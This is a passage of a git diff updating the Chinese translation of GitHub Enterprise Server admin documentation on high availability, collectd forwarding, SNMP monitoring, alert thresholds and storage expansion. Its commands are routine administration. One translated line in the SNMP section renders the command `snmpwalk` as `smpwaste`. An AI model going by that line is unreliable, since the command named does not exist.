-For testing, you can add entries to the local workstation's `hosts` file (for example, `/etc/hosts`). These example entries will resolve requests for `HOSTNAME` to `replica2`. You can target specific hosts by commenting out different lines.
+要进行测试，您可以将条目添加到本地工作站的 `hosts` 文件（如 `/etc/hosts`）。 这些示例条目会将 `HOSTNAME` 的请求解析到 `replica2`。 您可以注释不同的行，以特定主机为目标。
 
 ```
 # <primary IP>     <em>HOSTNAME</em>
@@ -95,8 +96,8 @@ For testing, you can add entries to the local workstation's `hosts` file (for ex
 <replica2 IP>    <em>HOSTNAME</em>
 ```
 
-## Further reading
+## 延伸阅读
 
-- "[About high availability configuration](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration)"
-- "[Utilities for replication management](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)"
-- "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)"
+- "[关于高可用性配置](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration)"
+- "[用于复制管理的实用程序](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)"
+- “[关于 Geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)”
diff --git a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/index.md b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/index.md
index f2287f14df..3e01c28a72 100644
--- a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/index.md
+++ b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/index.md
@@ -1,12 +1,12 @@
 ---
-title: Configuring high availability
+title: 配置高可用性
 redirect_from:
   - /enterprise/admin/installation/configuring-github-enterprise-server-for-high-availability
   - /enterprise/admin/guides/installation/high-availability-cluster-configuration
   - /enterprise/admin/guides/installation/high-availability-configuration
   - /enterprise/admin/guides/installation/configuring-github-enterprise-for-high-availability
   - /enterprise/admin/enterprise-management/configuring-high-availability
-intro: '{% data variables.product.prodname_ghe_server %} supports a high availability mode of operation designed to minimize service disruption in the event of hardware failure or major network outage affecting the primary appliance.'
+intro: '{% data variables.product.prodname_ghe_server %} 支持高可用性操作模式，此模式设计为可在发生影响主设备的硬件故障或重大网络中断的情况下最大限度地减少服务中断。'
 versions:
   ghes: '*'
 topics:
@@ -18,6 +18,6 @@ children:
   - /recovering-a-high-availability-configuration
   - /removing-a-high-availability-replica
   - /about-geo-replication
-shortTitle: Configure high availability
+shortTitle: 配置高可用性
 ---
 
diff --git a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
index 8d39fdb11a..a90586c766 100644
--- a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
+++ b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring collectd
-intro: '{% data variables.product.prodname_enterprise %} can gather data with `collectd` and send it to an external `collectd` server. Among other metrics, we gather a standard set of data such as CPU utilization, memory and disk consumption, network interface traffic and errors, and the VM''s overall load.'
+title: 配置 collectd
+intro: '{% data variables.product.prodname_enterprise %} 可以通过“collectd”收集数据并将数据发送到外部“collectd”服务器。 除了其他指标外，我们还会收集标准数据集，例如 CPU 利用率、内存与磁盘使用量、网络接口流量与错误，以及 VM 的总负荷。'
 redirect_from:
   - /enterprise/admin/installation/configuring-collectd
   - /enterprise/admin/articles/configuring-collectd
@@ -16,14 +16,15 @@ topics:
   - Monitoring
   - Performance
 ---
-## Set up an external `collectd` server
 
-If you haven't already set up an external `collectd` server, you will need to do so before enabling `collectd` forwarding on {% data variables.product.product_location %}. Your `collectd` server must be running `collectd` version 5.x or higher.
+## 设置外部 `collectd` 服务器
 
-1. Log into your `collectd` server.
-2. Create or edit the `collectd` configuration file to load the network plugin and populate the server and port directives with the proper values. On most distributions, this is located at `/etc/collectd/collectd.conf`
+如果您尚未设置外部 `collectd` 服务器，则需要首先进行设置，然后才能在 {% data variables.product.product_location %} 上启用 `collectd` 转发。 您的 `collectd` 服务器运行的 `collectd` 版本不得低于 5.x。
 
-An example *collectd.conf* to run a `collectd` server:
+1. 登录 `collectd` 服务器。
+2. 创建或编辑 `collectd` 配置文件，以加载网络插件并为服务器和端口指令填入适当的值。 在大多数分发中，此文件位于 `/etc/collectd/collectd.conf` 中
+
+用于运行 `collectd` 服务器的示例 *collectd.conf*：
 
     LoadPlugin network
     ...
@@ -32,34 +33,34 @@ An example *collectd.conf* to run a `collectd` server:
         Listen "0.0.0.0" "25826"
     </Plugin>
 
-## Enable collectd forwarding on {% data variables.product.prodname_enterprise %}
+## 在 {% data variables.product.prodname_enterprise %} 上启用 collectd 转发
 
-By default, `collectd` forwarding is disabled on {% data variables.product.prodname_enterprise %}. Follow the steps below to enable and configure `collectd` forwarding:
+默认情况下，`collectd` 转发在 {% data variables.product.prodname_enterprise %} 上处于禁用状态。 请按照以下操作步骤启用并配置 `collectd` 转发：
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-1. Below the log forwarding settings, select **Enable collectd forwarding**.
-1. In the **Server address** field, type the address of the `collectd` server to which you'd like to forward {% data variables.product.prodname_enterprise %} appliance statistics.
-1. In the **Port** field, type the port used to connect to the `collectd` server. (Defaults to 25826)
-1. In the **Cryptographic setup** dropdown menu, select the security level of communications with the `collectd` server. (None, signed packets, or encrypted packets.)
+1. 在日志转发设置下，选择 **Enable collectd forwarding**。
+1. 在 **Server address** 字段中，输入要将 {% data variables.product.prodname_enterprise %} 设备统计信息转发到的 `collectd` 服务器的地址。
+1. 在 **Port** 字段中，输入用于连接到 `collectd` 服务器的端口。 （默认为 25826）
+1. 在 **Cryptographic setup** 下拉菜单中，选择与 `collectd` 服务器通信的安全等级。 （无、签名数据包或加密数据包。）
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Exporting collectd data with `ghe-export-graphs`
+## 使用 `ghe-export-graphs` 导出 collectd 数据
 
-The command-line tool `ghe-export-graphs` will export the data that `collectd` stores in RRD databases. This command turns the data into XML and exports it into a single tarball (.tgz).
+命令行工具 `ghe-export-graphs` 将导出 `collectd` 存储在 RRD 数据库中的数据。 此命令会将数据转换为 XML 格式并导出到一个 tarball (.tgz) 中。
 
-Its primary use is to provide the {% data variables.contact.contact_ent_support %} team with data about a VM's performance, without the need for downloading a full Support Bundle. It shouldn't be included in your regular backup exports and there is no import counterpart. If you contact {% data variables.contact.contact_ent_support %}, we may ask for this data to assist with troubleshooting.
+此文件的主要用途是为 {% data variables.contact.contact_ent_support %} 团队提供关于 VM 性能的数据（无需下载整个支持包）， 不应包含在常规备份导出范围中，也没有对应的导入文件。 如果您联系 {% data variables.contact.contact_ent_support %}，我们可能会要求您提供此数据，以便协助故障排查。
 
-### Usage
+### 用法
 
 ```shell
 ssh -p 122 admin@[hostname] -- 'ghe-export-graphs' && scp -P 122 admin@[hostname]:~/graphs.tar.gz .
 ```
 
-## Troubleshooting
+## 疑难解答
 
-### Central collectd server receives no data
+### 中央 collectd 服务器未收到数据
 
-{% data variables.product.prodname_enterprise %} ships with `collectd` version 5.x. `collectd` 5.x is not backwards compatible with the 4.x release series. Your central `collectd` server needs to be at least version 5.x to accept data sent from {% data variables.product.product_location %}.
+{% data variables.product.prodname_enterprise %} 随附 `collectd` 版本 5.x。 `collectd` 5.x 不能后向兼容 4.x 发行版系列。 中央 `collectd` 服务器的版本至少需要是 5.x 才能接受从 {% data variables.product.product_location %} 发送的数据。
 
-For help with further questions or issues, contact {% data variables.contact.contact_ent_support %}.
+要获取其他问题的帮助，请联系 {% data variables.contact.contact_ent_support %}。
diff --git a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/index.md b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/index.md
index bb04a0812b..589b99db69 100644
--- a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/index.md
+++ b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/index.md
@@ -1,6 +1,6 @@
 ---
-title: Monitoring your appliance
-intro: 'As use of {% data variables.product.product_location %} increases over time, the utilization of system resources, like CPU, memory, and storage will also increase. You can configure monitoring and alerting so that you''re aware of potential issues before they become critical enough to negatively impact application performance or availability.'
+title: 监控设备
+intro: '随着 {% data variables.product.product_location %} 使用量的逐渐增加，系统资源（例如 CPU、内存和存储空间）的利用率也会提高。 您可以配置监视和警报来提示潜在问题，以免这些问题对应用程序性能或可用性造成严重的负面影响。'
 redirect_from:
   - /enterprise/admin/guides/installation/system-resource-monitoring-and-alerting
   - /enterprise/admin/guides/installation/monitoring-your-github-enterprise-appliance
diff --git a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
index 83d8dda6b5..aa4af2b44f 100644
--- a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
+++ b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
@@ -1,6 +1,6 @@
 ---
-title: Monitoring using SNMP
-intro: '{% data variables.product.prodname_enterprise %} provides data on disk usage, CPU utilization, memory usage, and more over SNMP.'
+title: 使用 SNMP 进行监视
+intro: '{% data variables.product.prodname_enterprise %} 通过 SNMP 提供关于磁盘使用情况、CPU 利用率和内存使用情况等方面的数据。'
 redirect_from:
   - /enterprise/admin/installation/monitoring-using-snmp
   - /enterprise/admin/articles/monitoring-using-snmp
@@ -15,66 +15,60 @@ topics:
   - Monitoring
   - Performance
 ---
-SNMP is a common standard for monitoring devices over a network. We strongly recommend enabling SNMP so you can monitor the health of {% data variables.product.product_location %} and know when to add more memory, storage, or processor power to the host machine.
 
-{% data variables.product.prodname_enterprise %} has a standard SNMP installation, so you can take advantage of the [many plugins](http://www.monitoring-plugins.org/doc/man/check_snmp.html) available for Nagios or for any other monitoring system.
+SNMP 是一种用于通过网络监视设备的公共标准。 强烈建议启用 SNMP，以便监视 {% data variables.product.product_location %} 的健康状态并了解何时向主机增加更多内存、存储空间或处理器能力。
 
-## Configuring SNMP v2c
+{% data variables.product.prodname_enterprise %} 采用标准 SNMP 安装，因此您可以充分利用 Nagios 或其他任何监视系统可用的[多种插件](http://www.monitoring-plugins.org/doc/man/check_snmp.html)。
+
+## 配置 SNMP v2c
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.access-monitoring %}
 {% data reusables.enterprise_management_console.enable-snmp %}
-4. In the **Community string** field, enter a new community string. If left blank, this defaults to `public`.
-![Field to add the community string](/assets/images/enterprise/management-console/community-string.png)
+4. 在 **Community string** 字段中，输入新的社区字符串。 如果留空，此字段将默认为 `public`。 ![添加社区字符串的字段](/assets/images/enterprise/management-console/community-string.png)
 {% data reusables.enterprise_management_console.save-settings %}
-5. Test your SNMP configuration by running the following command on a separate workstation with SNMP support in your network:
+5. 要测试 SNMP 配置，请在网络中支持 SNMP 的单独工作站上运行以下命令：
   ```shell
   # community-string is your community string
   # hostname is the IP or domain of your Enterprise instance
   $ snmpget -v 2c -c <em>community-string</em> -O e <em>hostname</em> hrSystemDate.0
   ```
 
-This should return the system time on {% data variables.product.product_location %} host.
+这应该返回 {% data variables.product.product_location %} 主机上的系统时间。
 
-## User-based security
+## 基于用户的安全性
 
-If you enable SNMP v3, you can take advantage of increased user based security through the User Security Model (USM). For each unique user, you can specify a security level:
-- `noAuthNoPriv`: This security level provides no authentication and no privacy.
-- `authNoPriv`: This security level provides authentication but no privacy. To query the appliance you'll need a username and password (that must be at least eight characters long). Information is sent without encryption, similar to SNMPv2. The authentication protocol can be either MD5 or SHA and defaults to SHA.
-- `authPriv`: This security level provides authentication with privacy. Authentication, including a minimum eight-character authentication password, is required and responses are encrypted. A privacy password is not required, but if provided it must be at least eight characters long. If a privacy password isn't provided, the authentication password is used. The privacy protocol can be either DES or AES and defaults to AES.
+如果您启用 SNMP v3，则可以通过用户安全模型 (USM) 充分利用提升的基于用户的安全性。 对于每个唯一的用户，您可以指定一个安全等级：
+- `noAuthNoPriv`: 此安全等级不提供任何身份验证和隐私保护。
+- `authNoPriv`: 此安全等级提供身份验证，但不提供隐私保护。 要查询设备，您需要用户名和密码（长度必须至少为八个字符）。 与 SNMPv2 相似，发送的信息不会进行加密。 身份验证协议可以是 MD5 或 SHA，默认为 SHA。
+- `authPriv`: 这个安全等级提供身份验证和隐私保护。 要求进行身份验证（包含一个长度至少为八个字符的身份验证密码），并且会对响应进行加密。 不需要隐私密码，但如果提供隐私密码，其长度必须至少为八个字符。 如果不提供隐私密码，将使用身份验证密码。 隐私协议可以是 DES 或 AES，默认为 AES。
 
-## Configuring users for SNMP v3
+## 配置 SNMP v3 的用户
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.access-monitoring %}
 {% data reusables.enterprise_management_console.enable-snmp %}
-4. Select **SNMP v3**.
-![Button to enable SNMP v3](/assets/images/enterprise/management-console/enable-snmpv3.png)
-5. In "Username", type the unique username of your SNMP v3 user.
-![Field to type the SNMP v3 username](/assets/images/enterprise/management-console/snmpv3-username.png)
-6. In the **Security Level** dropdown menu, click the security level for your SNMP v3 user.
-![Dropdown menu for the SNMP v3 user's security level](/assets/images/enterprise/management-console/snmpv3-securitylevel.png)
-7. For SNMP v3 users with the `authnopriv` security level:
-  ![Settings for the authnopriv security level](/assets/images/enterprise/management-console/snmpv3-authnopriv.png)
+4. 选择 **SNMP v3**。 ![启用 SNMP v3 的按钮](/assets/images/enterprise/management-console/enable-snmpv3.png)
+5. 在“Username（用户名）”中，输入 SNMP v3 用户的唯一用户名。 ![SNMP v3 用户名输入字段](/assets/images/enterprise/management-console/snmpv3-username.png)
+6. 在 **Security Level（安全等级）**下拉菜单中，单击 SNMP v3 用户的安全等级。 ![SNMP v3 用户安全等级下拉菜单](/assets/images/enterprise/management-console/snmpv3-securitylevel.png)
+7. 对于拥有 `authnopriv` 安全等级的 SNMP v3 用户： ![Authnopriv 安全等级设置](/assets/images/enterprise/management-console/snmpv3-authnopriv.png)
     - {% data reusables.enterprise_management_console.authentication-password %}
     - {% data reusables.enterprise_management_console.authentication-protocol %}
-8. For SNMP v3 users with the `authpriv` security level:
-  ![Settings for the authpriv security level](/assets/images/enterprise/management-console/snmpv3-authpriv.png)
+8. 对于拥有 `authpriv` 安全等级的 SNMP v3 用户： ![Authpriv 安全等级设置](/assets/images/enterprise/management-console/snmpv3-authpriv.png)
     - {% data reusables.enterprise_management_console.authentication-password %}
     - {% data reusables.enterprise_management_console.authentication-protocol %}
-    - Optionally, in "Privacy password", type the privacy password.
-    - On the right side of "Privacy password", in the **Protocol** dropdown menu, click the privacy protocol method you want to use.
-9. Click **Add user**.
-![Button to add SNMP v3 user](/assets/images/enterprise/management-console/snmpv3-adduser.png)
+    - （可选）在“Privacy password（隐私密码）”中输入隐私保护密码。
+    - 在“Privacy password（隐私密码）”右侧，在 **Protocol（协议）** 下拉菜单中，单击您要使用的隐私协议方法。
+9. 单击 **Add user（添加用户）**。 ![用于添加 SNMP v3 用户的按钮](/assets/images/enterprise/management-console/snmpv3-adduser.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-#### Querying SNMP data
+#### 查询 SNMP 数据
 
-Both hardware and software-level information about your appliance is available with SNMP v3. Due to the lack of encryption and privacy for the `noAuthNoPriv` and `authNoPriv` security levels, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports. We include this table if you're using the `authPriv` security level. For more information, see the "[OID reference documentation](http://oidref.com/1.3.6.1.2.1.25.4)." 
+关于您的设备的硬件和软件级信息都适用于 SNMP v3。 由于 `noAuthNoPriv` 和 `authNoPriv` 安全等级缺乏加密和隐私，因此我们的结果 SNMP 报告中不包括 `hrSWRun` 表 (1.3.6.1.2.1.25.4.)。 如果您使用的是 `authPriv` 安全等级，我们将包括此表。 更多信息请参阅“[OID 参考文档](http://oidref.com/1.3.6.1.2.1.25.4)。
 
-With SNMP v2c, only hardware-level information about your appliance is available. The applications and services within {% data variables.product.prodname_enterprise %} do not have OIDs configured to report metrics. Several MIBs are available, which you can see by running `snmpwalk` on a separate workstation with SNMP support in your network:
+如果使用 SNMP v2c，则仅会提供关于您的设备的硬件级信息。 {% data variables.product.prodname_enterprise %} 中的应用程序和服务未配置 OID 来报告指标。 有多个 MIB 可用，在网络中 SNMP 的支持下，在单独的工作站上运行 `smpwaste` 可以看到：
 
 ```shell
 # community-string is your community string
@@ -82,18 +76,18 @@ With SNMP v2c, only hardware-level information about your appliance is available
 $ snmpwalk -v 2c -c <em>community-string</em> -O e <em>hostname</em>
 ```
 
-Of the available MIBs for SNMP, the most useful is `HOST-RESOURCES-MIB` (1.3.6.1.2.1.25). See the table below for some important objects in this MIB:
+在 SNMP 的可用 MIB 中，最有用的是 `HOST-RESOURCES-MIB` (1.3.6.1.2.1.25)。 请参见下表，了解此 MIB 中的一些重要对象：
 
-| Name | OID | Description |
-| ---- | --- | ----------- |
-| hrSystemDate.2 | 1.3.6.1.2.1.25.1.2 | The hosts notion of the local date and time of day. |
-| hrSystemUptime.0 | 1.3.6.1.2.1.25.1.1.0 | How long it's been since the host was last initialized. |
-| hrMemorySize.0 | 1.3.6.1.2.1.25.2.2.0 | The amount of RAM on the host. |
-| hrSystemProcesses.0 | 1.3.6.1.2.1.25.1.6.0 | The number of process contexts currently loaded or running on the host. |
-| hrStorageUsed.1 | 1.3.6.1.2.1.25.2.3.1.6.1 | The amount of storage space consumed on the host, in hrStorageAllocationUnits. |
-| hrStorageAllocationUnits.1 | 1.3.6.1.2.1.25.2.3.1.4.1 | The size, in bytes, of an hrStorageAllocationUnit |
+| 名称                         | OID                      | 描述                                           |
+| -------------------------- | ------------------------ | -------------------------------------------- |
+| hrSystemDate.2             | 1.3.6.1.2.1.25.1.2       | 本地日期和时间的主机标记。                                |
+| hrSystemUptime.0           | 1.3.6.1.2.1.25.1.1.0     | 自主机上次初始化以来的时间。                               |
+| hrMemorySize.0             | 1.3.6.1.2.1.25.2.2.0     | 主机上 RAM 的大小。                                 |
+| hrSystemProcesses.0        | 1.3.6.1.2.1.25.1.6.0     | 主机上当前加载或运行的进程上下文数。                           |
+| hrStorageUsed.1            | 1.3.6.1.2.1.25.2.3.1.6.1 | 主机上已占用的存储空间大小（单位为 hrStorageAllocationUnits）。 |
+| hrStorageAllocationUnits.1 | 1.3.6.1.2.1.25.2.3.1.4.1 | hrStorageAllocationUnit 的大小（单位为字节）           |
 
-For example, to query for `hrMemorySize` with SNMP v3, run the following command on a separate workstation with SNMP support in your network:
+例如，要通过 SNMP v3 查询 `hrMemorySize`，请在您的网络中支持 SNMP 的单独工作站上运行以下命令：
 ```shell
 # username is the unique username of your SNMP v3 user
 # auth password is the authentication password
@@ -105,7 +99,7 @@ $ snmpget -v 3 -u <em>username</em> -l authPriv \
   -O e <em>hostname</em> HOST-RESOURCES-MIB::hrMemorySize.0
 ```
 
-With SNMP v2c, to query for `hrMemorySize`, run the following command on a separate workstation with SNMP support in your network:
+如果使用 SNMP v2c，要查询 `hrMemorySize`，请在您的网络中支持 SNMP 的单独工作站上运行以下命令：
 ```shell
 # community-string is your community string
 # hostname is the IP or domain of your Enterprise instance
@@ -114,8 +108,8 @@ snmpget -v 2c -c <em>community-string</em> <em>hostname</em> HOST-RESOURCES-MIB:
 
 {% tip %}
 
-**Note:** To prevent leaking information about services running on your appliance, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports unless you're using the `authPriv` security level with SNMP v3. If you're using the `authPriv` security level, we include the `hrSWRun` table.
+**注**：为避免泄漏关于设备上所运行服务的信息，我们会将 `hrSWRun` 表 (1.3.6.1.2.1.25.4) 从生成的 SNMP 报告中排除，除非您对 SNMP v3 使用的是 `authPriv` 安全级别。 如果您使用的安全级别为 `authPriv`，我们将包含 `hrSWRun` 表。
 
 {% endtip %}
 
-For more information on OID mappings for common system attributes in SNMP, see "[Linux SNMP OID’s for CPU, Memory and Disk Statistics](http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html)".
+更多关于 SNMP 中常用系统属性的 OID 映射的信息，请参阅“[CPU、内存和磁盘统计信息的 Linux SNMP OID](http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html)”。
diff --git a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
index fff12c9155..96746df122 100644
--- a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
+++ b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
@@ -1,6 +1,6 @@
 ---
-title: Recommended alert thresholds
-intro: 'You can configure an alert to notify you of system resource issues before they affect your {% data variables.product.prodname_ghe_server %} appliance''s performance.'
+title: 建议的警报阈值
+intro: '您可以配置警报来提前通知系统资源问题，以免它们影响您的 {% data variables.product.prodname_ghe_server %} 设备的性能。'
 redirect_from:
   - /enterprise/admin/guides/installation/about-recommended-alert-thresholds
   - /enterprise/admin/installation/about-recommended-alert-thresholds
@@ -16,37 +16,38 @@ topics:
   - Monitoring
   - Performance
   - Storage
-shortTitle: Recommended alert thresholds
+shortTitle: 建议的警报阈值
 ---
-## Monitoring storage
 
-We recommend that you monitor both the root and user storage devices and configure an alert with values that allow for ample response time when available disk space is low.
+## 监视存储
 
-| Severity | Threshold |
-| -------- | --------- |
-| **Warning** | Disk use exceeds 70% of total available |
-| **Critical** | Disk use exceeds 85% of total available |
+建议您同时对根存储设备和用户存储设备进行监视，并为警报配置合适的值，在可用磁盘空间不足时提供足够长的响应时间。
 
-You can adjust these values based on the total amount of storage allocated, historical growth patterns, and expected time to respond. We recommend over-allocating storage resources to allow for growth and prevent the downtime required to allocate additional storage.
+| 严重程度   | 阈值               |
+| ------ | ---------------- |
+| **警告** | 已用磁盘空间超出总大小的 70% |
+| **关键** | 已用磁盘空间超出总大小的 85% |
 
-## Monitoring CPU and load average usage
+您可以根据分配的总存储空间、历史增长模式和预期响应时间调整这些值。 我们建议多分配一些存储资源，以便考虑增长情况并避免因分配额外存储空间而需要停机。
 
-Although it is normal for CPU usage to fluctuate based on resource-intense Git operations, we recommend configuring an alert for abnormally high CPU utilization, as prolonged spikes can mean your instance is under-provisioned. We recommend monitoring the fifteen-minute system load average for values nearing or exceeding the number of CPU cores allocated to the virtual machine.
+## 监视 CPU 和平均负载使用情况
 
-| Severity | Threshold |
-| -------- | --------- |
-| **Warning** | Fifteen minute load average exceeds 1x CPU cores |
-| **Critical** | Fifteen minute load average exceeds 2x CPU cores |
+虽然 CPU 利用率随资源密集型 Git 操作上下波动属于正常情况，但我们建议配置警报来监视异常增高的 CPU 利用率，因为 CPU 利用率长时间处于高水平可能说明实例配置不足。 建议监视 15 分钟系统平均负载，以获取接近或超过分配给虚拟机的 CPU 核心数的值。
 
-We also recommend that you monitor virtualization "steal" time to ensure that other virtual machines running on the same host system are not using all of the instance's resources.
+| 严重程度   | 阈值                     |
+| ------ | ---------------------- |
+| **警告** | 十五分钟平均负载超出 1 倍的 CPU 核心 |
+| **关键** | 十五分钟平均负载超出 2 倍的 CPU 核心 |
 
-## Monitoring memory usage
+我们还建议监视虚拟化“盗取”时间，以确保在同一主机系统上运行的虚拟机不会用掉所有实例资源。
 
-The amount of physical memory allocated to {% data variables.product.product_location %} can have a large impact on overall performance and application responsiveness. The system is designed to make heavy use of the kernel disk cache to speed up Git operations. We recommend that the normal RSS working set fit within 50% of total available RAM at peak usage.
+## 监视内存使用情况
 
-| Severity | Threshold |
-| -------- | --------- |
-| **Warning**  | Sustained RSS usage exceeds 50% of total available memory |
-| **Critical** | Sustained RSS usage exceeds 70% of total available memory |
+分配给 {% data variables.product.product_location %} 的物理内存大小对整体性能和应用程序响应能力有着极大的影响。 系统设计为通过大量使用内核磁盘缓存来加快 Git 操作速度。 建议将正常 RSS 工作使用量设置在最高使用量时总可用 RAM 的 50% 之内。
 
-If memory is exhausted, the kernel OOM killer will attempt to free memory resources by forcibly killing RAM heavy application processes, which could result in a disruption of service. We recommend allocating more memory to the virtual machine than is required in the normal course of operations.
+| 严重程度   | 阈值                       |
+| ------ | ------------------------ |
+| **警告** | 持续 RSS 使用量超出总可用内存大小的 50% |
+| **关键** | 持续 RSS 使用量超出总可用内存大小的 70% |
+
+如果内存已耗尽，内核 OOM 终止程序将尝试终止占用 RAM 较多的应用程序进程以释放内存资源，这样可能导致服务中断。 建议为虚拟机分配的内存大小应大于正常操作过程所需的内存。
diff --git a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
index b17df486d0..f4a2d40b5c 100644
--- a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
+++ b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
@@ -1,6 +1,6 @@
 ---
-title: Increasing storage capacity
-intro: 'You can increase or change the amount of storage available for Git repositories, databases, search indexes, and other persistent application data.'
+title: 增加存储容量
+intro: 您可以增加或更改可供 Git 仓库、数据库、搜索索引和其他持久应用程序数据使用的存储容量。
 redirect_from:
   - /enterprise/admin/installation/increasing-storage-capacity
   - /enterprise/admin/enterprise-management/increasing-storage-capacity
@@ -13,58 +13,59 @@ topics:
   - Infrastructure
   - Performance
   - Storage
-shortTitle: Increase storage capacity
+shortTitle: 增加存储容量
 ---
+
 {% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %}
 
-As more users join {% data variables.product.product_location %}, you may need to resize your storage volume. Refer to the documentation for your virtualization platform for information on resizing storage.
+随着更多的用户加入 {% data variables.product.product_location %}，您可能需要调整存储卷大小。 有关调整存储容量的信息，请参阅虚拟平台的相关文档。
 
-## Requirements and recommendations
+## 要求与建议
 
 {% note %}
 
-**Note:** Before resizing any storage volume, put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+**注**：调整任何存储卷之前，请将实例置于维护模式。 更多信息请参阅“[启用和排定维护模式](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。
 
 {% endnote %}
 
-### Minimum requirements
+### 最低要求
 
 {% data reusables.enterprise_installation.hardware-rec-table %}
 
-## Increasing the data partition size
+## 增加数据分区大小
 
-1. Resize the existing user volume disk using your virtualization platform's tools.
+1. 使用虚拟平台工具调整现有用户卷磁盘大小。
 {% data reusables.enterprise_installation.ssh-into-instance %}
-3. Put the appliance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
-4. Reboot the appliance to detect the new storage allocation:
+3. 将设备置于维护模式。 更多信息请参阅“[启用和排定维护模式](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。
+4. 重启设备，以检测新存储分配。
   ```shell
   $ sudo reboot
   ```
-5. Run the `ghe-storage-extend` command to expand the `/data/user` filesystem:
+5. 运行 `ghe-storage-extend` 命令以展开 `/data/user` 文件系统：
   ```shell
   $ ghe-storage-extend
   ```
 
-## Increasing the root partition size using a new appliance
+## 使用新设备增加根分区大小
 
-1. Set up a new {% data variables.product.prodname_ghe_server %} instance with a larger root disk using the same version as your current appliance. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)."
-2. Shut down the current appliance:
+1. 使用版本与当前设备相同的较大根磁盘来设置新的 {% data variables.product.prodname_ghe_server %} 实例。 更多信息请参阅“[设置 {% data variables.product.prodname_ghe_server %} 实例](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)”。
+2. 关闭当前设备：
   ```shell
   $ sudo poweroff
   ```
-3. Detach the data disk from the current appliance using your virtualization platform's tools.
-4. Attach the data disk to the new appliance with the larger root disk.
+3. 使用虚拟平台工具将数据磁盘从当前设备中拆下。
+4. 将数据磁盘安装到根磁盘较大的新设备上。
 
-## Increasing the root partition size using an existing appliance
+## 使用现有设备增加根分区大小
 
 {% warning %}
 
-**Warning:** Before increasing the root partition size, you must put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+**警告：** 在增加根分区大小之前，您必须将您的实例置于维护模式。 更多信息请参阅“[启用和排定维护模式](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。
 
 {% endwarning %}
 
-1. Attach a new disk to your {% data variables.product.prodname_ghe_server %} appliance.
-1. Run the `parted` command to format the disk:
+1. 将新磁盘连接到 {% data variables.product.prodname_ghe_server %} 设备。
+1. 运行 `parted` 命令，将磁盘格式化：
   ```shell
   $ sudo parted /dev/xvdg mklabel msdos
   $ sudo parted /dev/xvdg mkpart primary ext4 0% 50%
@@ -75,18 +76,18 @@ As more users join {% data variables.product.product_location %}, you may need t
    ```shell
    $ ghe-repl-stop
    ```
